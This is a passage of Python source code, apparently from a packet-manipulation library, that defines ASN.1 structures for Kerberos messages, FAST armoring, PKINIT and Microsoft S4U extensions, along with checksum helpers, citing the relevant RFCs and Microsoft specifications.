TD_CMS_DIGEST_ALGORITHMS(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("seq", [], X509_AlgorithmIdentifier) _PADATA_CLASSES[111] = TD_CMS_DIGEST_ALGORITHMS # PADATA Extended with RFC6113 class PA_AUTHENTICATION_SET_ELEM(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Int32("paType", 0, explicit_tag=0xA0), ASN1F_optional( ASN1F_STRING("paHint", "", explicit_tag=0xA1), ), ASN1F_optional( ASN1F_STRING("paValue", "", explicit_tag=0xA2), ), ) class PA_AUTHENTICATION_SET(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF( "elems", [PA_AUTHENTICATION_SET_ELEM()], PA_AUTHENTICATION_SET_ELEM ) _PADATA_CLASSES[134] = PA_AUTHENTICATION_SET # [MS-KILE] sect 2.2.3 class PA_PAC_REQUEST(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_BOOLEAN("includePac", True, explicit_tag=0xA0), ) _PADATA_CLASSES[128] = PA_PAC_REQUEST # [MS-KILE] sect 2.2.5 class LSAP_TOKEN_INFO_INTEGRITY(Packet): fields_desc = [ FlagsField( "Flags", 0, -32, { 0x00000001: "UAC-Restricted", }, ), LEIntEnumField( "TokenIL", 0x00002000, { 0x00000000: "Untrusted", 0x00001000: "Low", 0x00002000: "Medium", 0x00003000: "High", 0x00004000: "System", 0x00005000: "Protected process", }, ), MayEnd(XStrFixedLenField("MachineID", b"", length=32)), # KB 5068222 - still waiting for [MS-KILE] update (oct. 2025) XStrFixedLenField("PermanentMachineID", b"", length=32), ] # [MS-KILE] sect 2.2.6 class _KerbAdRestrictionEntry_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_KerbAdRestrictionEntry_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.restrictionType.val == 0x0000: # LSAP_TOKEN_INFO_INTEGRITY return LSAP_TOKEN_INFO_INTEGRITY(val[0].val, _underlayer=pkt), val[1] return val class KERB_AD_RESTRICTION_ENTRY(ASN1_Packet): name = "KERB-AD-RESTRICTION-ENTRY" ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "restrictionType", 0, {0: "LSAP_TOKEN_INFO_INTEGRITY"}, explicit_tag=0xA0, ), _KerbAdRestrictionEntry_Field("restriction", b"", explicit_tag=0xA1), ) ) _AUTHORIZATIONDATA_VALUES[141] = KERB_AD_RESTRICTION_ENTRY # [MS-KILE] sect 3.2.5.8 class KERB_AUTH_DATA_AP_OPTIONS(Packet): name = "KERB-AUTH-DATA-AP-OPTIONS" fields_desc = [ FlagsField( "apOptions", 0x4000, -32, { 0x4000: "KERB_AP_OPTIONS_CBT", 0x8000: "KERB_AP_OPTIONS_UNVERIFIED_TARGET_NAME", }, ), ] _AUTHORIZATIONDATA_VALUES[143] = KERB_AUTH_DATA_AP_OPTIONS # This has no doc..? [MS-KILE] only mentions its name. class KERB_AUTH_DATA_CLIENT_TARGET(Packet): name = "KERB-AD-TARGET-PRINCIPAL" fields_desc = [ StrFieldUtf16("spn", ""), ] _AUTHORIZATIONDATA_VALUES[144] = KERB_AUTH_DATA_CLIENT_TARGET # RFC6806 sect 6 class KERB_AD_LOGIN_ALIAS(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE(ASN1F_SEQUENCE_OF("loginAliases", [], PrincipalName)) _AUTHORIZATIONDATA_VALUES[80] = KERB_AD_LOGIN_ALIAS # [MS-KILE] sect 2.2.8 class PA_SUPPORTED_ENCTYPES(Packet): fields_desc = [ FlagsField( "flags", 0, -32, [ "DES-CBC-CRC", "DES-CBC-MD5", "RC4-HMAC", "AES128-CTS-HMAC-SHA1-96", "AES256-CTS-HMAC-SHA1-96", ] + ["bit_%d" % i for i in range(11)] + [ "FAST-supported", "Compount-identity-supported", "Claims-supported", "Resource-SID-compression-disabled", ], ) ] _PADATA_CLASSES[165] = PA_SUPPORTED_ENCTYPES # [MS-KILE] sect 2.2.10 class PA_PAC_OPTIONS(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KerberosFlags( "options", "", [ "Claims", "Branch-Aware", "Forward-to-Full-DC", "Resource-based-constrained-delegation", # [MS-SFU] 2.2.5 ], explicit_tag=0xA0, ) ) _PADATA_CLASSES[167] = PA_PAC_OPTIONS # [MS-KILE] sect 2.2.11 class KERB_KEY_LIST_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF( "keytypes", [], ASN1F_enum_INTEGER("", 0, _KRB_E_TYPES), ) _PADATA_CLASSES[161] = KERB_KEY_LIST_REQ # [MS-KILE] sect 2.2.12 class KERB_KEY_LIST_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF( "keys", [], ASN1F_PACKET("", None, EncryptionKey), ) _PADATA_CLASSES[162] = KERB_KEY_LIST_REP # [MS-KILE] sect 2.2.13 class KERB_SUPERSEDED_BY_USER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("name", None, PrincipalName, explicit_tag=0xA0), Realm("realm", None, explicit_tag=0xA1), ) _PADATA_CLASSES[170] = KERB_SUPERSEDED_BY_USER # [MS-KILE] sect 2.2.14 class KERB_DMSA_KEY_PACKAGE(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF( "currentKeys", [], ASN1F_PACKET("", None, EncryptionKey), explicit_tag=0xA0, ), ASN1F_optional( ASN1F_SEQUENCE_OF( "previousKeys", [], ASN1F_PACKET("", None, EncryptionKey), explicit_tag=0xA1, ), ), KerberosTime("expirationInterval", GeneralizedTime(), explicit_tag=0xA2), KerberosTime("fetchInterval", GeneralizedTime(), explicit_tag=0xA4), ) _PADATA_CLASSES[171] = KERB_DMSA_KEY_PACKAGE # RFC6113 sect 5.4.1 class _KrbFastArmor_value_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_KrbFastArmor_value_Field, self).m2i(pkt, s) if not val[0].val: return val if pkt.armorType.val == 1: # FX_FAST_ARMOR_AP_REQUEST return KRB_AP_REQ(val[0].val, _underlayer=pkt), val[1] return val class KrbFastArmor(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER( "armorType", 1, {1: "FX_FAST_ARMOR_AP_REQUEST"}, explicit_tag=0xA0 ), _KrbFastArmor_value_Field("armorValue", "", explicit_tag=0xA1), ) # RFC6113 sect 5.4.2 class KrbFastArmoredReq(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("armor", None, KrbFastArmor, explicit_tag=0xA0) ), ASN1F_PACKET("reqChecksum", Checksum(), Checksum, explicit_tag=0xA1), ASN1F_PACKET("encFastReq", None, EncryptedData, explicit_tag=0xA2), ) ) class PA_FX_FAST_REQUEST(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "armoredData", ASN1_STRING(""), ASN1F_PACKET("req", KrbFastArmoredReq, KrbFastArmoredReq, implicit_tag=0xA0), ) # RFC6113 sect 5.4.3 class KrbFastArmoredRep(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_PACKET("encFastRep", None, EncryptedData, explicit_tag=0xA0), ) ) class PA_FX_FAST_REPLY(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "armoredData", ASN1_STRING(""), ASN1F_PACKET("req", KrbFastArmoredRep, KrbFastArmoredRep, implicit_tag=0xA0), ) class KrbFastFinished(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KerberosTime("timestamp", GeneralizedTime(), explicit_tag=0xA0), Microseconds("usec", 0, explicit_tag=0xA1), Realm("crealm", "", explicit_tag=0xA2), ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA3), ASN1F_PACKET("ticketChecksum", Checksum(), Checksum, explicit_tag=0xA4), ) class KrbFastResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF("padata", [PADATA()], PADATA, explicit_tag=0xA0), ASN1F_optional( ASN1F_PACKET("strengthenKey", None, EncryptionKey, explicit_tag=0xA1) ), ASN1F_optional( ASN1F_PACKET( "finished", KrbFastFinished(), KrbFastFinished, explicit_tag=0xA2 ) ), UInt32("nonce", 0, explicit_tag=0xA3), ) _PADATA_CLASSES[136] = (PA_FX_FAST_REQUEST, PA_FX_FAST_REPLY) # RFC 4556 - PKINIT # sect 3.2.1 class ExternalPrincipalIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_STRING_ENCAPS( "subjectName", None, X509_DirectoryName, implicit_tag=0x80 ), ), ASN1F_optional( ASN1F_STRING_ENCAPS( "issuerAndSerialNumber", None, CMS_IssuerAndSerialNumber, implicit_tag=0x81, ), ), ASN1F_optional( ASN1F_STRING("subjectKeyIdentifier", "", implicit_tag=0x82), ), ) class PA_PK_AS_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING_ENCAPS( "signedAuthpack", CMS_ContentInfo(), CMS_ContentInfo, implicit_tag=0x80, ), ASN1F_optional( ASN1F_SEQUENCE_OF( "trustedCertifiers", None, ExternalPrincipalIdentifier, explicit_tag=0xA1, ), ), ASN1F_optional( ASN1F_STRING("kdcPkId", "", implicit_tag=0xA2), ), ) _PADATA_CLASSES[16] = PA_PK_AS_REQ # [MS-PKCA] sect 2.2.3 class PAChecksum2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING("checksum", "", explicit_tag=0xA0), ASN1F_PACKET( "algorithmIdentifier", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier, explicit_tag=0xA1, ), ) def verify(self, text): """ Verify a checksum of text. :param text: the bytes to verify """ # [MS-PKCA] 2.2.3 - PAChecksum2 # Only some OIDs are supported. Dumb but readable code. oid = self.algorithmIdentifier.algorithm.val if oid == "1.3.14.3.2.26": hashcls = Hash_SHA elif oid == "2.16.840.1.101.3.4.2.1": hashcls = Hash_SHA256 elif oid == "2.16.840.1.101.3.4.2.2": hashcls = Hash_SHA384 elif oid == "2.16.840.1.101.3.4.2.3": hashcls = Hash_SHA512 else: raise ValueError("Bad PAChecksum2 checksum !") if hashcls().digest(text) != self.checksum.val: raise ValueError("Bad PAChecksum2 checksum !") def make(self, text, h="sha256"): """ Make a checksum. :param text: the bytes to make a checksum of """ # Only some OIDs are supported. Dumb but readable code. if h == "sha1": hashcls = Hash_SHA self.algorithmIdentifier.algorithm = ASN1_OID("1.3.14.3.2.26") elif h == "sha256": hashcls = Hash_SHA256 self.algorithmIdentifier.algorithm = ASN1_OID("2.16.840.1.101.3.4.2.1") elif h == "sha384": hashcls = Hash_SHA384 self.algorithmIdentifier.algorithm = ASN1_OID("2.16.840.1.101.3.4.2.2") elif h == "sha512": hashcls = Hash_SHA512 self.algorithmIdentifier.algorithm = ASN1_OID("2.16.840.1.101.3.4.2.3") else: raise ValueError("Bad PAChecksum2 checksum !") self.checksum = ASN1_STRING(hashcls().digest(text)) # still RFC 4556 sect 3.2.1 class KRB_PKAuthenticator(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Microseconds("cusec", 0, explicit_tag=0xA0), KerberosTime("ctime", GeneralizedTime(), explicit_tag=0xA1), UInt32("nonce", 0, explicit_tag=0xA2), ASN1F_optional( ASN1F_STRING("paChecksum", "", explicit_tag=0xA3), ), # RFC8070 extension ASN1F_optional( ASN1F_STRING("freshnessToken", None, explicit_tag=0xA4), ), # [MS-PKCA] sect 2.2.3 ASN1F_optional( ASN1F_PACKET("paChecksum2", PAChecksum2(), PAChecksum2, explicit_tag=0xA5), ), ) def make_checksum(self, text, h="sha256"): """ Populate paChecksum and paChecksum2 """ # paChecksum (always sha-1) self.paChecksum = ASN1_STRING(Hash_SHA().digest(text)) # paChecksum2 self.paChecksum2 = PAChecksum2() self.paChecksum2.make(text, h=h) def verify_checksum(self, text): """ Verify paChecksum and paChecksum2 """ if self.paChecksum.val != Hash_SHA().digest(text): raise ValueError("Bad paChecksum checksum !") self.paChecksum2.verify(text) # RFC8636 sect 6 class KDFAlgorithmId(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("kdfId", "", explicit_tag=0xA0), ) # still RFC 4556 sect 3.2.1 class KRB_AuthPack(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET( "pkAuthenticator", KRB_PKAuthenticator(), KRB_PKAuthenticator, explicit_tag=0xA0, ), ASN1F_optional( ASN1F_PACKET( "clientPublicValue", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo, explicit_tag=0xA1, ), ), ASN1F_optional( ASN1F_SEQUENCE_OF( "supportedCMSTypes", None, X509_AlgorithmIdentifier, explicit_tag=0xA2, ), ), ASN1F_optional( ASN1F_STRING("clientDHNonce", None, explicit_tag=0xA3), ), # RFC8636 extension ASN1F_optional( ASN1F_SEQUENCE_OF("supportedKDFs", None, KDFAlgorithmId, explicit_tag=0xA4), ), ) _CMS_ENCAPSULATED["1.3.6.1.5.2.3.1"] = KRB_AuthPack # sect 3.2.3 class DHRepInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING_ENCAPS( "dhSignedData", CMS_ContentInfo(), CMS_ContentInfo, implicit_tag=0x80, ), ASN1F_optional( ASN1F_STRING("serverDHNonce", "", explicit_tag=0xA1), ), # RFC8636 extension ASN1F_optional( ASN1F_PACKET("kdf", None, KDFAlgorithmId, explicit_tag=0xA2), ), ) class EncKeyPack(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("encKeyPack", "") class PA_PK_AS_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "rep", ASN1_STRING(""), ASN1F_PACKET("dhInfo", DHRepInfo(), DHRepInfo, explicit_tag=0xA0), ASN1F_PACKET("encKeyPack", EncKeyPack(), EncKeyPack, explicit_tag=0xA1), ) _PADATA_CLASSES[17] = PA_PK_AS_REP class KDCDHKeyInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_BIT_STRING_ENCAPS( "subjectPublicKey", DHPublicKey(), DHPublicKey, explicit_tag=0xA0 ), UInt32("nonce", 0, explicit_tag=0xA1), ASN1F_optional( KerberosTime("dhKeyExpiration", None, explicit_tag=0xA2), ), ) _CMS_ENCAPSULATED["1.3.6.1.5.2.3.2"] = KDCDHKeyInfo # [MS-SFU] # sect 2.2.1 class PA_FOR_USER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("userName", PrincipalName(), PrincipalName, explicit_tag=0xA0), Realm("userRealm", "", explicit_tag=0xA1), ASN1F_PACKET("cksum", Checksum(), Checksum, explicit_tag=0xA2), KerberosString("authPackage", "Kerberos", explicit_tag=0xA3), ) _PADATA_CLASSES[129] = PA_FOR_USER # sect 2.2.2 class S4UUserID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( UInt32("nonce", 0, explicit_tag=0xA0), ASN1F_optional( ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA1), ), Realm("crealm", "", explicit_tag=0xA2), ASN1F_optional( ASN1F_STRING("subjectCertificate", None, explicit_tag=0xA3), ), ASN1F_optional( ASN1F_FLAGS( "options", "", [ "reserved", "KDC_CHECK_LOGON_HOUR_RESTRICTIONS", "USE_REPLY_KEY_USAGE", "NT_AUTH_POLICY_NOT_REQUIRED", "UNCONDITIONAL_DELEGATION", ], explicit_tag=0xA4, ) ), ) class PA_S4U_X509_USER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("userId", S4UUserID(), S4UUserID, explicit_tag=0xA0), ASN1F_PACKET("checksum", Checksum(), Checksum, explicit_tag=0xA1), ) _PADATA_CLASSES[130] = PA_S4U_X509_USER # Back to RFC4120 # sect 5.10 KRB_MSG_TYPES = { 1: "Ticket", 2: "Authenticator", 3: "EncTicketPart", 10: "AS-REQ", 11: "AS-REP", 12: "TGS-REQ", 13: "TGS-REP", 14: "AP-REQ", 15: "AP-REP", 16: "KRB-TGT-REQ", # U2U 17: "KRB-TGT-REP", # U2U 20: "KRB-SAFE", 21: "KRB-PRIV", 22: "KRB-CRED", 25: "EncASRepPart", 26: "EncTGSRepPart", 27: "EncAPRepPart", 28: "EncKrbPrivPart", 29: "EnvKrbCredPart", 30: "KRB-ERROR", } # sect 5.3 class KRB_Ticket(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("tktVno", 5, explicit_tag=0xA0), Realm("realm", "", explicit_tag=0xA1), ASN1F_PACKET("sname", PrincipalName(), PrincipalName, explicit_tag=0xA2), ASN1F_PACKET("encPart", EncryptedData(), EncryptedData, explicit_tag=0xA3), ), implicit_tag=ASN1_Class_KRB.Ticket, ) def getSPN(self): return "%s@%s" % ( self.sname.toString(), self.realm.val.decode(), ) class TransitedEncoding(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Int32("trType", 0, explicit_tag=0xA0), ASN1F_STRING("contents", "", explicit_tag=0xA1), ) _TICKET_FLAGS = [ "reserved", "forwardable", "forwarded", "proxiable", "proxy", "may-postdate", "postdated", "invalid", "renewable", "initial", "pre-authent", "hw-authent", "transited-since-policy-checked", "ok-as-delegate", "unused", "canonicalize", # RFC6806 "anonymous", # RFC6112 + RFC8129 ] class EncTicketPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( KerberosFlags( "flags", "", _TICKET_FLAGS, explicit_tag=0xA0, ), ASN1F_PACKET("key", EncryptionKey(), EncryptionKey, explicit_tag=0xA1), Realm("crealm", "", explicit_tag=0xA2), ASN1F_PACKET("cname", PrincipalName(), PrincipalName, explicit_tag=0xA3), ASN1F_PACKET( "transited", TransitedEncoding(), TransitedEncoding, explicit_tag=0xA4 ), KerberosTime("authtime", GeneralizedTime(), explicit_tag=0xA5), ASN1F_optional( KerberosTime("starttime", GeneralizedTime(), explicit_tag=0xA6) ), KerberosTime("endtime", GeneralizedTime(), explicit_tag=0xA7), ASN1F_optional( KerberosTime("renewTill", GeneralizedTime(), explicit_tag=0xA8), ), ASN1F_optional( HostAddresses("addresses", explicit_tag=0xA9), ), ASN1F_optional( ASN1F_PACKET( "authorizationData", None, AuthorizationData, explicit_tag=0xAA ), ), ), implicit_tag=ASN1_Class_KRB.EncTicketPart, ) # sect 5.4.1 class KRB_KDC_REQ_BODY(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KerberosFlags( "kdcOptions", "", [ "reserved", "forwardable", "forwarded", "proxiable", "proxy", "allow-postdate", "postdated", "unused7", "renewable", "unused9", "unused10", "opt-hardware-auth", "unused12", "unused13", "cname-in-addl-tkt", # [MS-SFU] sect 2.2.3 "canonicalize", # RFC6806 "request-anonymous", # RFC6112 + RFC8129 ] + ["unused%d" % i for i in range(17, 26)] + [ "disable-transited-check", "renewable-ok", "enc-tkt-in-skey", "unused29", "renew", "validate", ], explicit_tag=0xA0, ), ASN1F_optional(ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA1)), Realm("realm", "", explicit_tag=0xA2), ASN1F_optional( ASN1F_PACKET("sname", None, PrincipalName, explicit_tag=0xA3), ), ASN1F_optional(KerberosTime("from_", None, explicit_tag=0xA4)), KerberosTime("till", GeneralizedTime(), explicit_tag=0xA5), ASN1F_optional(KerberosTime("rtime", GeneralizedTime(), explicit_tag=0xA6)), UInt32("nonce", 0, explicit_tag=0xA7), ASN1F_SEQUENCE_OF("etype", [], Int32, explicit_tag=0xA8), ASN1F_optional( HostAddresses("addresses", explicit_tag=0xA9), ), ASN1F_optional( ASN1F_PACKET( "encAuthorizationData", None, EncryptedData, explicit_tag=0xAA ), ), ASN1F_optional( ASN1F_SEQUENCE_OF("additionalTickets", [], KRB_Ticket, explicit_tag=0xAB) ), ) KRB_KDC_REQ = ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA1), ASN1F_enum_INTEGER("msgType", 10, KRB_MSG_TYPES, explicit_tag=0xA2), ASN1F_optional(ASN1F_SEQUENCE_OF("padata", [], PADATA, explicit_tag=0xA3)), ASN1F_PACKET("reqBody", KRB_KDC_REQ_BODY(), KRB_KDC_REQ_BODY, explicit_tag=0xA4), ) class KrbFastReq(ASN1_Packet): # RFC6113 sect 5.4.2 ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KerberosFlags( "fastOptions", "", [ "RESERVED", "hide-client-names", ] + ["res%d" % i for i in range(2, 16)] + ["kdc-follow-referrals"], explicit_tag=0xA0, ), ASN1F_SEQUENCE_OF("padata", [PADATA()], PADATA, explicit_tag=0xA1), ASN1F_PACKET("reqBody", None, KRB_KDC_REQ_BODY, explicit_tag=0xA2), ) class KRB_AS_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KRB_KDC_REQ, implicit_tag=ASN1_Class_KRB.AS_REQ, ) class KRB_TGS_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KRB_KDC_REQ, implicit_tag=ASN1_Class_KRB.TGS_REQ, ) msgType = ASN1_INTEGER(12) # sect 5.4.2 KRB_KDC_REP = ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 11, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_optional( ASN1F_SEQUENCE_OF("padata", [], PADATA, explicit_tag=0xA2), ), Realm("crealm", "", explicit_tag=0xA3), ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA4), ASN1F_PACKET("ticket", None, KRB_Ticket, explicit_tag=0xA5), ASN1F_PACKET("encPart", None, EncryptedData, explicit_tag=0xA6), ) class KRB_AS_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KRB_KDC_REP, implicit_tag=ASN1_Class_KRB.AS_REP, ) def getUPN(self): return "%s@%s" % ( self.cname.toString(), self.crealm.val.decode(), ) class KRB_TGS_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( KRB_KDC_REP, implicit_tag=ASN1_Class_KRB.TGS_REP, ) def getUPN(self): return "%s@%s" % ( self.cname.toString(), self.crealm.val.decode(), ) class LastReqItem(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( Int32("lrType", 0, explicit_tag=0xA0), KerberosTime("lrValue", GeneralizedTime(), explicit_tag=0xA1), ) EncKDCRepPart = ASN1F_SEQUENCE( ASN1F_PACKET("key", None, EncryptionKey, explicit_tag=0xA0), ASN1F_SEQUENCE_OF("lastReq", [], LastReqItem, explicit_tag=0xA1), UInt32("nonce", 0, explicit_tag=0xA2), ASN1F_optional( KerberosTime("keyExpiration", GeneralizedTime(), explicit_tag=0xA3), ), KerberosFlags( "flags", "", _TICKET_FLAGS, explicit_tag=0xA4, ), KerberosTime("authtime", GeneralizedTime(), explicit_tag=0xA5), ASN1F_optional( KerberosTime("starttime", GeneralizedTime(), explicit_tag=0xA6), ), KerberosTime("endtime", GeneralizedTime(), explicit_tag=0xA7), ASN1F_optional( KerberosTime("renewTill", GeneralizedTime(), explicit_tag=0xA8), ), Realm("srealm", "", explicit_tag=0xA9), ASN1F_PACKET("sname", PrincipalName(), PrincipalName, explicit_tag=0xAA), ASN1F_optional( HostAddresses("caddr", explicit_tag=0xAB), ), # RFC6806 sect 11 ASN1F_optional( ASN1F_SEQUENCE_OF("encryptedPaData", [], PADATA, explicit_tag=0xAC), ), ) class EncASRepPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( EncKDCRepPart, implicit_tag=ASN1_Class_KRB.EncASRepPart, ) class EncTGSRepPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( EncKDCRepPart, implicit_tag=ASN1_Class_KRB.EncTGSRepPart, ) # sect 5.5.1 class KRB_AP_REQ(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 14, KRB_MSG_TYPES, explicit_tag=0xA1), KerberosFlags( "apOptions", "", [ "reserved", "use-session-key", "mutual-required", ], explicit_tag=0xA2, ), ASN1F_PACKET("ticket", None, KRB_Ticket, explicit_tag=0xA3), ASN1F_PACKET("authenticator", None, EncryptedData, explicit_tag=0xA4), ), implicit_tag=ASN1_Class_KRB.AP_REQ, ) _PADATA_CLASSES[1] = KRB_AP_REQ class KRB_Authenticator(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("authenticatorPvno", 5, explicit_tag=0xA0), Realm("crealm", "", explicit_tag=0xA1), ASN1F_PACKET("cname", None, PrincipalName, explicit_tag=0xA2), ASN1F_optional( ASN1F_PACKET("cksum", None, Checksum, explicit_tag=0xA3), ), Microseconds("cusec", 0, explicit_tag=0xA4), KerberosTime("ctime", GeneralizedTime(), explicit_tag=0xA5), ASN1F_optional( ASN1F_PACKET("subkey", None, EncryptionKey, explicit_tag=0xA6), ), ASN1F_optional( UInt32("seqNumber", 0, explicit_tag=0xA7), ), ASN1F_optional( ASN1F_PACKET( "encAuthorizationData", None, AuthorizationData, explicit_tag=0xA8 ), ), ), implicit_tag=ASN1_Class_KRB.Authenticator, ) # sect 5.5.2 class KRB_AP_REP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 15, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_PACKET("encPart", None, EncryptedData, explicit_tag=0xA2), ), implicit_tag=ASN1_Class_KRB.AP_REP, ) class EncAPRepPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( KerberosTime("ctime", GeneralizedTime(), explicit_tag=0xA0), Microseconds("cusec", 0, explicit_tag=0xA1), ASN1F_optional( ASN1F_PACKET("subkey", None, EncryptionKey, explicit_tag=0xA2), ), ASN1F_optional( UInt32("seqNumber", 0, explicit_tag=0xA3), ), ), implicit_tag=ASN1_Class_KRB.EncAPRepPart, ) # sect 5.7 class KRB_PRIV(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 21, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_PACKET("encPart", None, EncryptedData, explicit_tag=0xA3), ), implicit_tag=ASN1_Class_KRB.PRIV, ) class EncKrbPrivPart(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_STRING("userData", ASN1_STRING(""), explicit_tag=0xA0), ASN1F_optional( KerberosTime("timestamp", None, explicit_tag=0xA1), ), ASN1F_optional( Microseconds("usec", None, explicit_tag=0xA2), ), ASN1F_optional( UInt32("seqNumber", None, explicit_tag=0xA3), ), ASN1F_PACKET("sAddress", None, HostAddress, explicit_tag=0xA4), ASN1F_optional( ASN1F_PACKET("cAddress", None, HostAddress, explicit_tag=0xA5), ), ), implicit_tag=ASN1_Class_KRB.EncKrbPrivPart, ) # sect 5.8 class KRB_CRED(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_INTEGER("pvno", 5, explicit_tag=0xA0), ASN1F_enum_INTEGER("msgType", 22, KRB_MSG_TYPES, explicit_tag=0xA1), ASN1F_SEQUENCE_OF("tickets", [KRB_Ticket()], KRB_Ticket, explicit_tag=0xA2), ASN1F_PACKET("encPart", None, EncryptedData, explicit_tag=0xA3), ), implicit_tag=ASN1_Class_KRB.CRED, ) class KrbCredInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( 